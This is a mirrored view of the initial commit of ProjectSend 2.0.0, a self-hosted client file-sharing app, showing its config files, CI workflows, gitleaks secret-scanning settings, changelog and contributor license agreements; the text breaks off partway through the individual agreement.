mirror of
https://github.com/projectsend/projectsend.git
synced 2026-10-04 13:33:22 +00:00
ProjectSend 2.0.0
Client file sharing, rebuilt from the ground up: a private area per client, resumable uploads, folders, groups and categories, sharing with expiry dates and download limits, comments, file versions, an activity log, a REST API, and sixteen languages. This repository begins here. ProjectSend 2 was developed privately, and that development history is not published — the previous generation remains available, with its own history, at projectsend/legacy. Free software under the GNU General Public License v2, or (at your option) any later version.
This commit is contained in:
@@ -0,0 +1,18 @@
|
||||
root = true
|
||||
|
||||
[*]
|
||||
charset = utf-8
|
||||
end_of_line = lf
|
||||
indent_size = 4
|
||||
indent_style = space
|
||||
insert_final_newline = true
|
||||
trim_trailing_whitespace = true
|
||||
|
||||
[*.md]
|
||||
trim_trailing_whitespace = false
|
||||
|
||||
[*.{yml,yaml}]
|
||||
indent_size = 2
|
||||
|
||||
[docker-compose.yml]
|
||||
indent_size = 4
|
||||
@@ -0,0 +1,91 @@
|
||||
APP_NAME=ProjectSend
|
||||
PROJECTSEND_EDITION=community
|
||||
|
||||
# Emergency off switch for the CAPTCHA on public forms, for an operator who
|
||||
# has a shell but no working login. Everything else about the feature is
|
||||
# configured at /system/settings/captcha.
|
||||
# PROJECTSEND_CAPTCHA_DISABLED=true
|
||||
|
||||
# Optional: uid/gid the app/web containers' internal user runs as, so the
|
||||
# bind-mounted repo needs no permission fixes. Defaults to 1000; override
|
||||
# if your host user's `id -u`/`id -g` differ.
|
||||
# WWWUSER=1000
|
||||
# WWWGROUP=1000
|
||||
|
||||
# Optional: create the first administrator unattended on container start.
|
||||
# Leave unset to use the first-run setup screen instead.
|
||||
# ADMIN_NAME="Administrator"
|
||||
# ADMIN_EMAIL=admin@example.com
|
||||
# ADMIN_PASSWORD=
|
||||
APP_ENV=local
|
||||
APP_KEY=
|
||||
APP_DEBUG=true
|
||||
APP_TIMEZONE=UTC
|
||||
APP_URL=http://localhost
|
||||
|
||||
# Required whenever a proxy/load balancer sits in front of this app (an
|
||||
# ALB, Cloudflare, a hosted ingress) — otherwise every request looks like
|
||||
# it comes from the proxy, collapsing per-IP rate limits and the download
|
||||
# IP log. Comma-separated addresses/CIDRs, or "*" to trust any proxy
|
||||
# (only safe when nothing but the proxy can reach the app).
|
||||
# TRUSTED_PROXIES=
|
||||
|
||||
APP_LOCALE=en
|
||||
APP_FALLBACK_LOCALE=en
|
||||
APP_FAKER_LOCALE=en_US
|
||||
|
||||
APP_MAINTENANCE_DRIVER=file
|
||||
# APP_MAINTENANCE_STORE=database
|
||||
|
||||
PHP_CLI_SERVER_WORKERS=4
|
||||
|
||||
BCRYPT_ROUNDS=12
|
||||
|
||||
LOG_CHANNEL=stack
|
||||
LOG_STACK=single
|
||||
LOG_DEPRECATIONS_CHANNEL=null
|
||||
LOG_LEVEL=debug
|
||||
|
||||
DB_CONNECTION=mysql
|
||||
DB_HOST=db
|
||||
DB_PORT=3306
|
||||
DB_DATABASE=projectsend
|
||||
DB_USERNAME=projectsend
|
||||
DB_PASSWORD=secret
|
||||
|
||||
SESSION_DRIVER=redis
|
||||
SESSION_LIFETIME=120
|
||||
SESSION_ENCRYPT=false
|
||||
SESSION_PATH=/
|
||||
SESSION_DOMAIN=null
|
||||
|
||||
BROADCAST_CONNECTION=log
|
||||
FILESYSTEM_DISK=local
|
||||
QUEUE_CONNECTION=redis
|
||||
|
||||
CACHE_STORE=redis
|
||||
CACHE_PREFIX=
|
||||
|
||||
MEMCACHED_HOST=127.0.0.1
|
||||
|
||||
REDIS_CLIENT=phpredis
|
||||
REDIS_HOST=redis
|
||||
REDIS_PASSWORD=null
|
||||
REDIS_PORT=6379
|
||||
|
||||
MAIL_MAILER=smtp
|
||||
MAIL_HOST=mailpit
|
||||
MAIL_PORT=1025
|
||||
MAIL_USERNAME=null
|
||||
MAIL_PASSWORD=null
|
||||
MAIL_ENCRYPTION=null
|
||||
MAIL_FROM_ADDRESS="hello@example.com"
|
||||
MAIL_FROM_NAME="${APP_NAME}"
|
||||
|
||||
AWS_ACCESS_KEY_ID=
|
||||
AWS_SECRET_ACCESS_KEY=
|
||||
AWS_DEFAULT_REGION=us-east-1
|
||||
AWS_BUCKET=
|
||||
AWS_USE_PATH_STYLE_ENDPOINT=false
|
||||
|
||||
VITE_APP_NAME="${APP_NAME}"
|
||||
@@ -0,0 +1,10 @@
|
||||
* text=auto eol=lf
|
||||
|
||||
*.blade.php diff=html
|
||||
*.css diff=css
|
||||
*.html diff=html
|
||||
*.md diff=markdown
|
||||
*.php diff=php
|
||||
|
||||
CHANGELOG.md export-ignore
|
||||
README.md export-ignore
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 423 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 296 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 233 KiB |
@@ -0,0 +1,61 @@
|
||||
# Gates pull requests on CLA signature using contributor-assistant/github-action.
|
||||
# Signatures are stored as a JSON file in a separate private repo — do NOT store
|
||||
# them in this public repo, they contain contributor emails.
|
||||
#
|
||||
# Setup before enabling:
|
||||
# 1. Create a private repo, e.g. projectsend/cla-signatures
|
||||
# 2. Create a PAT with 'repo' scope that can write to it
|
||||
# 3. Add it as a secret named PERSONAL_ACCESS_TOKEN in this repository
|
||||
#
|
||||
# The two github.com/projectsend/projectsend URLs below are shown to
|
||||
# contributors when the bot asks them to sign. They must point at a repo an
|
||||
# outside contributor can actually read.
|
||||
|
||||
name: CLA Assistant
|
||||
|
||||
on:
|
||||
issue_comment:
|
||||
types: [created]
|
||||
pull_request_target:
|
||||
types: [opened, closed, synchronize]
|
||||
|
||||
permissions:
|
||||
actions: write
|
||||
contents: read
|
||||
pull-requests: write
|
||||
statuses: write
|
||||
|
||||
jobs:
|
||||
cla:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: CLA check
|
||||
if: (github.event.comment.body == 'recheck' || github.event.comment.body == 'I have read the CLA Document and I hereby sign the CLA') || github.event_name == 'pull_request_target'
|
||||
uses: contributor-assistant/github-action@v2.6.1
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
PERSONAL_ACCESS_TOKEN: ${{ secrets.PERSONAL_ACCESS_TOKEN }}
|
||||
with:
|
||||
path-to-signatures: 'signatures/version1/cla.json'
|
||||
path-to-document: 'https://github.com/projectsend/projectsend/blob/main/CLA-INDIVIDUAL.md'
|
||||
branch: 'main'
|
||||
remote-organization-name: 'projectsend'
|
||||
remote-repository-name: 'cla-signatures'
|
||||
|
||||
allowlist: dependabot[bot],renovate[bot],*[bot]
|
||||
|
||||
custom-notsigned-prcomment: |
|
||||
Thanks for the pull request!
|
||||
|
||||
Before we can merge it, we need you to sign the Contributor License Agreement.
|
||||
It's a one-time thing and takes about a minute — you keep the copyright in your
|
||||
contribution, and it lets the project offer commercial licenses that fund
|
||||
development of the free version. The reasoning is written out in
|
||||
[CONTRIBUTING.md](https://github.com/projectsend/projectsend/blob/main/CONTRIBUTING.md#licensing-and-the-contributor-license-agreement).
|
||||
|
||||
Please read the **[CLA]($pathToCLADocument)**, then post exactly this as a comment
|
||||
on this pull request:
|
||||
|
||||
custom-pr-sign-comment: 'I have read the CLA Document and I hereby sign the CLA'
|
||||
custom-allsigned-prcomment: 'CLA signed — thanks. A maintainer will review this shortly.'
|
||||
lock-pullrequest-aftermerge: false
|
||||
@@ -0,0 +1,50 @@
|
||||
name: linter
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- develop
|
||||
- main
|
||||
pull_request:
|
||||
branches:
|
||||
- develop
|
||||
- main
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
quality:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Setup PHP
|
||||
uses: shivammathur/setup-php@v2
|
||||
with:
|
||||
php-version: '8.4'
|
||||
|
||||
# community-modules resolves from its public GitHub repository (the vcs
|
||||
# entry in composer.json); cloud-modules is not required. COMPOSER_AUTH
|
||||
# just lifts the anonymous GitHub API rate limit for the fetch.
|
||||
- name: Install Dependencies
|
||||
env:
|
||||
COMPOSER_AUTH: '{"github-oauth":{"github.com":"${{ secrets.GITHUB_TOKEN }}"}}'
|
||||
run: |
|
||||
composer install -q --no-ansi --no-interaction --no-scripts --no-progress --prefer-dist
|
||||
npm install
|
||||
|
||||
- name: Run Pint
|
||||
run: vendor/bin/pint
|
||||
|
||||
- name: Format Frontend
|
||||
run: npm run format
|
||||
|
||||
- name: Lint Frontend
|
||||
run: npm run lint
|
||||
|
||||
# - name: Commit Changes
|
||||
# uses: stefanzweifel/git-auto-commit-action@v5
|
||||
# with:
|
||||
# commit_message: fix code style
|
||||
# commit_options: '--no-verify'
|
||||
@@ -0,0 +1,91 @@
|
||||
name: tests
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- develop
|
||||
- main
|
||||
pull_request:
|
||||
branches:
|
||||
- develop
|
||||
- main
|
||||
|
||||
jobs:
|
||||
ci:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
# This job has no MySQL/db service — it's SQLite-only (see
|
||||
# phpunit.xml) — but .env.example's DB_CONNECTION=mysql/DB_HOST=db is
|
||||
# for the local docker-compose stack. Bare artisan calls that run
|
||||
# outside phpunit.xml's env (composer's package:discover,
|
||||
# key:generate) would otherwise try to reach a "db" host that
|
||||
# doesn't exist here. Same story for CACHE_STORE: every process
|
||||
# boot reads a mail-config cache entry (PlatformServiceProvider::
|
||||
# boot() -> MailConfigApplier::apply()), which needs a store that
|
||||
# works without a migrated schema this early.
|
||||
env:
|
||||
CACHE_STORE: array
|
||||
DB_CONNECTION: sqlite
|
||||
# config/database.php's sqlite connection reuses DB_DATABASE for
|
||||
# the file path — .env.example's DB_DATABASE=projectsend (the
|
||||
# MySQL database name) would otherwise make sqlite look for a
|
||||
# file literally named "projectsend".
|
||||
DB_DATABASE: database/database.sqlite
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup PHP
|
||||
uses: shivammathur/setup-php@v2
|
||||
with:
|
||||
php-version: 8.4
|
||||
tools: composer:v2
|
||||
coverage: xdebug
|
||||
|
||||
- name: Setup Node
|
||||
uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: '22'
|
||||
cache: 'npm'
|
||||
|
||||
# community-modules is the community edition's companion package,
|
||||
# resolved from its public GitHub repository (the vcs entry in
|
||||
# composer.json). A plain clone installs it with no local packages/
|
||||
# checkout — cloud-modules is not required at all. COMPOSER_AUTH just
|
||||
# hands composer the runner's token so the GitHub API calls it makes
|
||||
# to fetch the package are not subject to the anonymous rate limit.
|
||||
|
||||
# composer install's post-autoload-dump script boots the app
|
||||
# (package:discover), which needs the sqlite file to already exist
|
||||
# even before .env is copied — config/database.php defaults to it.
|
||||
- name: Create SQLite Database
|
||||
run: touch database/database.sqlite
|
||||
|
||||
- name: Install PHP Dependencies
|
||||
env:
|
||||
COMPOSER_AUTH: '{"github-oauth":{"github.com":"${{ secrets.GITHUB_TOKEN }}"}}'
|
||||
run: composer install --no-interaction --prefer-dist --optimize-autoloader
|
||||
|
||||
- name: Install Node Dependencies
|
||||
run: npm ci
|
||||
|
||||
# tsconfig.json maps the "ziggy-js" import to vendor/tightenco/ziggy,
|
||||
# so this needs PHP deps installed first.
|
||||
- name: Typecheck Frontend
|
||||
run: npm run types
|
||||
|
||||
- name: Build Assets
|
||||
run: npm run build
|
||||
|
||||
- name: Copy Environment File
|
||||
run: cp .env.example .env
|
||||
|
||||
- name: Generate Application Key
|
||||
run: php artisan key:generate
|
||||
|
||||
- name: Static Analysis
|
||||
run: ./vendor/bin/phpstan analyse --no-progress
|
||||
|
||||
- name: Tests
|
||||
run: ./vendor/bin/pest
|
||||
+41
@@ -0,0 +1,41 @@
|
||||
.DS_Store
|
||||
.env
|
||||
.env.backup
|
||||
.env.production
|
||||
.phpactor.json
|
||||
.phpunit.result.cache
|
||||
/.fleet
|
||||
/.idea
|
||||
/.nova
|
||||
/.phpunit.cache
|
||||
/.vscode
|
||||
/.zed
|
||||
/bootstrap/ssr
|
||||
/node_modules
|
||||
/packages
|
||||
/public/build
|
||||
/public/hot
|
||||
/public/storage
|
||||
/storage/*.key
|
||||
/storage/pail
|
||||
/vendor
|
||||
auth.json
|
||||
Homestead.json
|
||||
Homestead.yaml
|
||||
npm-debug.log
|
||||
yarn-error.log
|
||||
/.release-build
|
||||
/compose.override.yaml
|
||||
/compose.override.yml
|
||||
|
||||
# ── Maintainer-only working files ──
|
||||
# Planning notes, local tooling and development fixtures are kept outside
|
||||
# this repository, so these paths are ignored here rather than published.
|
||||
# If docs/ looks sparser than you expect, that is why. The two entries
|
||||
# below the ignore are application data the app reads at runtime and are
|
||||
# part of the repository.
|
||||
/.claude
|
||||
/scripts/refresh-sim.sh
|
||||
/database/seeders/DevDataSeeder.php
|
||||
/docs/*.md
|
||||
!/docs/api-guide.md
|
||||
@@ -0,0 +1,43 @@
|
||||
# Secret scanning config.
|
||||
#
|
||||
# docker run --rm -v "$PWD:/repo" -w /repo zricethezav/gitleaks:latest \
|
||||
# detect --source /repo --log-opts="--all" --redact --no-banner
|
||||
#
|
||||
# `--log-opts="--all"` is the part that matters: it scans every commit on
|
||||
# every ref, not just the working tree. Publishing a repository makes its
|
||||
# entire history world-readable, so a credential that was committed once and
|
||||
# removed the next day is still exposed — and still needs rotating, not just
|
||||
# deleting.
|
||||
#
|
||||
# Run this before publishing anything, and treat any new finding as real
|
||||
# until proven otherwise.
|
||||
|
||||
[extend]
|
||||
useDefault = true
|
||||
|
||||
[[rules]]
|
||||
id = "curl-auth-header"
|
||||
|
||||
[rules.allowlist]
|
||||
description = """
|
||||
The API guide documents authentication, so every example carries an
|
||||
Authorization header. All of them are placeholders — YOUR_TOKEN, or the
|
||||
psend_xxxx shape used to show what a real token looks like. Scanned and
|
||||
confirmed clean 2026-08-09 across 347 commits.
|
||||
|
||||
This allowlist is deliberately narrow: it excuses the two placeholder
|
||||
spellings in one file, not the rule, so a real token pasted into that same
|
||||
guide would still be caught.
|
||||
|
||||
matchCondition = "AND" is what makes that true and must not be removed.
|
||||
Gitleaks ORs allowlist conditions by default, so without it the `paths`
|
||||
entry alone excuses every Authorization header in the file — including a
|
||||
real one. Verified both ways: the placeholders pass, and an injected
|
||||
token-shaped string is still reported.
|
||||
"""
|
||||
matchCondition = "AND"
|
||||
paths = ['''docs/api-guide\.md''']
|
||||
regexes = [
|
||||
'''Bearer YOUR_TOKEN''',
|
||||
'''Bearer \d+\|psend_x+''',
|
||||
]
|
||||
@@ -0,0 +1 @@
|
||||
resources/js/components/ui/*
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
{
|
||||
"semi": true,
|
||||
"singleQuote": true,
|
||||
"singleAttributePerLine": false,
|
||||
"htmlWhitespaceSensitivity": "css",
|
||||
"printWidth": 150,
|
||||
"plugins": ["prettier-plugin-organize-imports", "prettier-plugin-tailwindcss"],
|
||||
"tailwindFunctions": ["clsx", "cn"],
|
||||
"tabWidth": 4,
|
||||
"overrides": [
|
||||
{
|
||||
"files": "**/*.yml",
|
||||
"options": {
|
||||
"tabWidth": 2
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
# Changelog
|
||||
|
||||
What changed in each release of ProjectSend, written for the people running it.
|
||||
|
||||
Versions follow [SemVer](https://semver.org/): the middle number moves when there are new features,
|
||||
the last one when there are only fixes, and the first one when an upgrade needs more from you than
|
||||
dropping in the new files and running the migrations.
|
||||
|
||||
Anything under **Upgrade notes** is something you have to do, not something we did.
|
||||
|
||||
## Unreleased
|
||||
|
||||
This section collects changes as they land; the release process turns it into a numbered entry when
|
||||
a version is cut.
|
||||
|
||||
## 2.0.0 — 2026-08-14
|
||||
|
||||
ProjectSend, rebuilt from the ground up. This is a new application rather than an update to the one
|
||||
before it: it installs fresh, and an optional tool imports your existing site into it. The previous
|
||||
generation continues to be available as ProjectSend Legacy.
|
||||
|
||||
Everything you already rely on came across — roles and granular permissions, folders, two-factor
|
||||
authentication, LDAP, single sign-on, per-file download limits, S3-compatible storage, custom
|
||||
fields, per-client quotas, zip downloads, resumable uploads, thumbnails, editable email templates,
|
||||
client portal themes and the activity log. What follows is what is genuinely new. **If you are
|
||||
running the previous version, read the upgrade notes first.**
|
||||
|
||||
### Added
|
||||
|
||||
- **A REST API.** Files, clients, groups and comments — and, on self-hosted installations, staff
|
||||
accounts — with scoped tokens, documentation the application generates itself, and a usage
|
||||
dashboard. There was previously no programmable surface at all.
|
||||
- **Comments on files.** The conversation about a file lives on the file, with a per-comment choice
|
||||
of who can see it and strict separation between clients.
|
||||
- **File versions.** Mark an upload as replacing an earlier one and the two stay linked: the older
|
||||
file is marked *Outdated* everywhere, sharing is inherited, and recipients are notified.
|
||||
- **A notification centre.** A bell with an unread count on every screen for staff and clients
|
||||
alike, a full history, and per-person control over what also arrives by email.
|
||||
- **Folder sharing.** Share a folder with a client or group and everything inside follows, including
|
||||
files added later.
|
||||
- **Per-person timezones.** Every date reads in the timezone of whoever is looking at it, detected
|
||||
once from their browser, instead of one setting for the whole installation.
|
||||
- **Recoverability, and real erasure.** Deleted files and accounts can be restored. Self-service
|
||||
account deletion runs a disclosed grace period and then a genuine erasure, activity log included.
|
||||
- **Scoped staff access.** "Limit to assigned clients" narrows a staff member's entire view, not
|
||||
just who they may upload to.
|
||||
- **Sixteen languages, and a menu you curate.** Choose which languages your clients are offered and
|
||||
which one everybody starts in.
|
||||
- **Themed email.** Four independent email themes, with a live preview of a real message.
|
||||
- **Guided setup.** A two-minute first run or fully unattended provisioning, a database that
|
||||
migrates itself on boot, and upgrade instructions matching how you actually installed.
|
||||
|
||||
### Improved
|
||||
|
||||
- **Uploads survive the connection.** Pause and resume, retrying the missing pieces rather than the
|
||||
whole file — and clients and API callers get the identical pipeline staff use.
|
||||
- **Zip downloads no longer tie up the server.** Built in the background, with the folder structure
|
||||
preserved inside, and still recorded against every file bundled.
|
||||
- **The interface.** Dark mode, drag-and-drop moves, a details panel with sharing and history in
|
||||
tabs, and the same search-and-filter toolbar on every list — with filters in the address bar, so a
|
||||
view can be bookmarked or sent to a colleague.
|
||||
- **A storage floor, not just ceilings.** A site-wide default quota that individual clients
|
||||
override, so an installation with self-registration is no longer unbounded.
|
||||
- **Categories your clients can read.** Flat, cross-cutting and colour-coded, shown everywhere the
|
||||
file appears — including the client portal and public pages.
|
||||
|
||||
### Upgrade notes
|
||||
|
||||
- **This is not an in-place upgrade.** Install this release fresh, then bring your old site into it
|
||||
with the migration tool. Nothing is ever written to your old installation, it keeps running
|
||||
throughout, and any import can be undone with a single command.
|
||||
- **Your clients will sign in with their email address**, not their username. Their existing
|
||||
passwords keep working, so nobody has to reset anything.
|
||||
- **Three things the previous version could do are not here yet:** IP allow and deny lists, email as
|
||||
a second factor, and encryption at rest. If you depend on any of them, stay where you are for now.
|
||||
- **Two accounts cannot share an email address.** The previous version allowed it, because it signed
|
||||
people in by username. The import refuses to start and names the accounts to fix, rather than
|
||||
silently merging two people into one.
|
||||
- **Nested categories become flat.** Each keeps its full path as its name — "Clients / Acme /
|
||||
Invoices" — so nothing is lost and no two categories collapse into one. Rename them afterwards if
|
||||
you would rather.
|
||||
- **Files encrypted at rest, or held on external cloud storage, are not imported.** They are listed
|
||||
for you individually before the run starts, and skipped rather than guessed at.
|
||||
|
||||
+144
@@ -0,0 +1,144 @@
|
||||
# ProjectSend Entity Contributor License Agreement
|
||||
|
||||
**Version 1.0**
|
||||
|
||||
This agreement is for organizations whose employees or contractors contribute to ProjectSend.
|
||||
If you are contributing as an individual on your own behalf, sign the Individual CLA instead.
|
||||
|
||||
This Agreement is between Ignacio Nelson, the original author and maintainer of ProjectSend
|
||||
("the Licensor"), and the entity identified below
|
||||
("You" or "Your"). It clarifies the intellectual property rights granted with Contributions made
|
||||
by Your employees, contractors, and designated contributors.
|
||||
|
||||
**Your organization keeps the copyright in its Contributions.** This is a license, not a transfer
|
||||
of ownership.
|
||||
|
||||
---
|
||||
|
||||
## 1. Definitions
|
||||
|
||||
**"You"** (or **"Your"**) means the corporation or other legal entity signing this Agreement,
|
||||
together with all other entities that control, are controlled by, or are under common control
|
||||
with that entity. For this definition, "control" means (i) the power, direct or indirect, to
|
||||
cause the direction or management of such entity, whether by contract or otherwise, (ii)
|
||||
ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership
|
||||
of such entity.
|
||||
|
||||
**"Contribution"** means any original work of authorship, including any modifications or additions
|
||||
to an existing work, that is or has been intentionally submitted by You to the Licensor for
|
||||
inclusion in, or documentation of, any of the products owned or managed by the Licensor (the
|
||||
"Work"). "Submitted" means any form of electronic, verbal, or written communication sent to the
|
||||
Licensor or its representatives, including but not limited to communication on electronic mailing
|
||||
lists, source code control systems, and issue tracking systems that are managed by, or on behalf
|
||||
of, the Licensor for the purpose of discussing and improving the Work — but excluding
|
||||
communication that is conspicuously marked or otherwise designated in writing by You as
|
||||
"Not a Contribution."
|
||||
|
||||
**For the avoidance of doubt, this Agreement applies to all Contributions made on Your behalf —
|
||||
those submitted after signing it and those submitted before**, including any contributions made
|
||||
to ProjectSend prior to the existence of this Agreement.
|
||||
|
||||
## 2. Grant of Copyright License
|
||||
|
||||
Subject to the terms and conditions of this Agreement, You hereby grant to the Licensor and to
|
||||
recipients of software distributed by the Licensor a perpetual, worldwide, non-exclusive,
|
||||
no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of,
|
||||
publicly display, publicly perform, sublicense, and distribute Your Contributions and such
|
||||
derivative works.
|
||||
|
||||
You further grant to the Licensor the right to license Your Contributions, and derivative works
|
||||
of Your Contributions, under any license terms of the Licensor's choosing. This includes, without
|
||||
limitation, open source licenses other than the one under which the Work is currently
|
||||
distributed, and commercial or proprietary licenses.
|
||||
|
||||
You retain all right, title, and interest in and to Your Contributions.
|
||||
|
||||
## 3. Grant of Patent License
|
||||
|
||||
Subject to the terms and conditions of this Agreement, You hereby grant to the Licensor and to
|
||||
recipients of software distributed by the Licensor a perpetual, worldwide, non-exclusive,
|
||||
no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make,
|
||||
have made, use, offer to sell, sell, import, and otherwise transfer the Work. This license
|
||||
applies only to those patent claims licensable by You that are necessarily infringed by Your
|
||||
Contributions alone or by combination of Your Contributions with the Work to which such
|
||||
Contributions were submitted.
|
||||
|
||||
If any entity institutes patent litigation against You or any other entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that a Contribution, or the Work to which You
|
||||
have contributed, constitutes direct or contributory patent infringement, then any patent
|
||||
licenses granted to that entity under this Agreement for that Contribution or Work shall
|
||||
terminate as of the date such litigation is filed.
|
||||
|
||||
## 4. Your Representations
|
||||
|
||||
You represent that:
|
||||
|
||||
a. You are legally entitled to grant the above licenses.
|
||||
|
||||
b. Each employee or contractor of Yours designated on Schedule A below is authorized to submit
|
||||
Contributions on Your behalf.
|
||||
|
||||
c. Each Contribution is an original creation of the designated contributor, or You have obtained
|
||||
the necessary rights to submit it under the terms of this Agreement.
|
||||
|
||||
d. To the best of Your knowledge, no Contribution violates any third party's copyrights,
|
||||
trademarks, patents, or other intellectual property rights.
|
||||
|
||||
## 5. Third-Party Materials
|
||||
|
||||
Should You wish to submit work that is not an original creation, You may submit it separately
|
||||
from any Contribution, identifying the complete details of its source and of any license or other
|
||||
restriction of which You are aware, and conspicuously marking the work as
|
||||
"Submitted on behalf of a third party: [named here]".
|
||||
|
||||
## 6. Disclaimer
|
||||
|
||||
Unless required by applicable law or agreed to in writing, You provide Your Contributions on an
|
||||
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
|
||||
## 7. No Obligation
|
||||
|
||||
The decision to include any Contribution in any product or source repository is entirely at the
|
||||
discretion of the Licensor.
|
||||
|
||||
## 8. Notification
|
||||
|
||||
You agree to notify the Licensor of any facts or circumstances of which You become aware that
|
||||
would make the representations in this Agreement inaccurate in any respect, and to keep
|
||||
Schedule A current.
|
||||
|
||||
## 9. Successors and Assigns
|
||||
|
||||
The Licensor may assign this Agreement, and the rights granted under it, to any successor in
|
||||
interest to the ProjectSend project.
|
||||
|
||||
## 10. Governing Law
|
||||
|
||||
This Agreement is governed by the laws of the Argentine Republic, without regard to its conflict
|
||||
of law provisions. Any dispute arising from or relating to this Agreement shall be submitted to
|
||||
the ordinary courts of the Autonomous City of Buenos Aires, Argentina.
|
||||
|
||||
---
|
||||
|
||||
## Signature
|
||||
|
||||
| Field | Value |
|
||||
|---|---|
|
||||
| Entity name | |
|
||||
| Registered address | |
|
||||
| Point of contact | |
|
||||
| Email | |
|
||||
| Signed by (name and title) | |
|
||||
| Signature | |
|
||||
| Date | |
|
||||
|
||||
## Schedule A — Designated Contributors
|
||||
|
||||
List each employee or contractor authorized to submit Contributions on Your behalf. Send updates
|
||||
to <contact@projectsend.org>.
|
||||
|
||||
| Full name | Email | GitHub username |
|
||||
|---|---|---|
|
||||
| | | |
|
||||
| | | |
|
||||
| | | |
|
||||
@@ -0,0 +1,133 @@
|
||||
# ProjectSend Individual Contributor License Agreement
|
||||
|
||||
**Version 1.0**
|
||||
|
||||
Thank you for contributing to ProjectSend. This agreement clarifies the intellectual property
|
||||
rights granted with Contributions from any person or entity. It protects You as a Contributor,
|
||||
protects the Project, and protects everyone who relies on ProjectSend.
|
||||
|
||||
**You keep the copyright in Your Contribution.** This is a license, not a transfer of ownership.
|
||||
You grant Ignacio Nelson, the original author and maintainer of ProjectSend ("the Licensor"),
|
||||
broad permission to use and license Your Contribution,
|
||||
including the right to distribute it under licenses other than the project's current open source
|
||||
license — which is what makes it possible to offer ProjectSend to organizations that cannot
|
||||
accept copyleft terms, and to fund continued development of the free version.
|
||||
|
||||
By submitting a Contribution to the Project, You accept and agree to the following terms.
|
||||
|
||||
---
|
||||
|
||||
## 1. Definitions
|
||||
|
||||
**"You"** (or **"Your"**) means the individual who submits a Contribution to the Licensor.
|
||||
|
||||
**"Contribution"** means any original work of authorship, including any modifications or
|
||||
additions to an existing work, that is or has been intentionally submitted by You to the Licensor
|
||||
for inclusion in, or documentation of, any of the products owned or managed by the Licensor
|
||||
(the "Work"). "Submitted" means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to communication on electronic
|
||||
mailing lists, source code control systems, and issue tracking systems that are managed by, or
|
||||
on behalf of, the Licensor for the purpose of discussing and improving the Work — but excluding
|
||||
communication that is conspicuously marked or otherwise designated in writing by You as
|
||||
"Not a Contribution."
|
||||
|
||||
**For the avoidance of doubt, this Agreement applies to all of Your Contributions — those You
|
||||
submit after signing it and those You submitted before**, including any contributions made to
|
||||
ProjectSend prior to the existence of this Agreement.
|
||||
|
||||
## 2. Grant of Copyright License
|
||||
|
||||
Subject to the terms and conditions of this Agreement, You hereby grant to the Licensor and to
|
||||
recipients of software distributed by the Licensor a perpetual, worldwide, non-exclusive,
|
||||
no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of,
|
||||
publicly display, publicly perform, sublicense, and distribute Your Contribution and such
|
||||
derivative works.
|
||||
|
||||
You further grant to the Licensor the right to license Your Contribution, and derivative works of
|
||||
Your Contribution, under any license terms of the Licensor's choosing. This includes, without
|
||||
limitation, open source licenses other than the one under which the Work is currently
|
||||
distributed, and commercial or proprietary licenses.
|
||||
|
||||
You retain all right, title, and interest in and to Your Contribution. Nothing in this Agreement
|
||||
restricts Your ability to use, license, or otherwise exploit Your Contribution for any purpose.
|
||||
|
||||
## 3. Grant of Patent License
|
||||
|
||||
Subject to the terms and conditions of this Agreement, You hereby grant to the Licensor and to
|
||||
recipients of software distributed by the Licensor a perpetual, worldwide, non-exclusive,
|
||||
no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make,
|
||||
have made, use, offer to sell, sell, import, and otherwise transfer the Work. This license
|
||||
applies only to those patent claims licensable by You that are necessarily infringed by Your
|
||||
Contribution alone or by combination of Your Contribution with the Work to which such
|
||||
Contribution was submitted.
|
||||
|
||||
If any entity institutes patent litigation against You or any other entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that Your Contribution, or the Work to which
|
||||
You have contributed, constitutes direct or contributory patent infringement, then any patent
|
||||
licenses granted to that entity under this Agreement for that Contribution or Work shall
|
||||
terminate as of the date such litigation is filed.
|
||||
|
||||
## 4. Your Representations
|
||||
|
||||
You represent that:
|
||||
|
||||
a. You are legally entitled to grant the above licenses.
|
||||
|
||||
b. Each of Your Contributions is Your original creation, or You have the necessary rights to
|
||||
submit it under the terms of this Agreement.
|
||||
|
||||
c. If Your employer has rights to intellectual property that You create — including anything You
|
||||
create as part of Your employment or using Your employer's resources — You have received
|
||||
permission to make the Contribution on behalf of that employer, that Your employer has waived
|
||||
such rights, or that Your employer has executed the ProjectSend Entity Contributor License
|
||||
Agreement.
|
||||
|
||||
d. Your Contribution does not, to the best of Your knowledge, violate any third party's
|
||||
copyrights, trademarks, patents, or other intellectual property rights.
|
||||
|
||||
## 5. Third-Party Materials
|
||||
|
||||
Should You wish to submit work that is not Your original creation, You may submit it separately
|
||||
from any Contribution, identifying the complete details of its source and of any license or other
|
||||
restriction of which You are personally aware, and conspicuously marking the work as
|
||||
"Submitted on behalf of a third party: [named here]".
|
||||
|
||||
## 6. Disclaimer
|
||||
|
||||
Unless required by applicable law or agreed to in writing, You provide Your Contributions on an
|
||||
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including,
|
||||
without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or
|
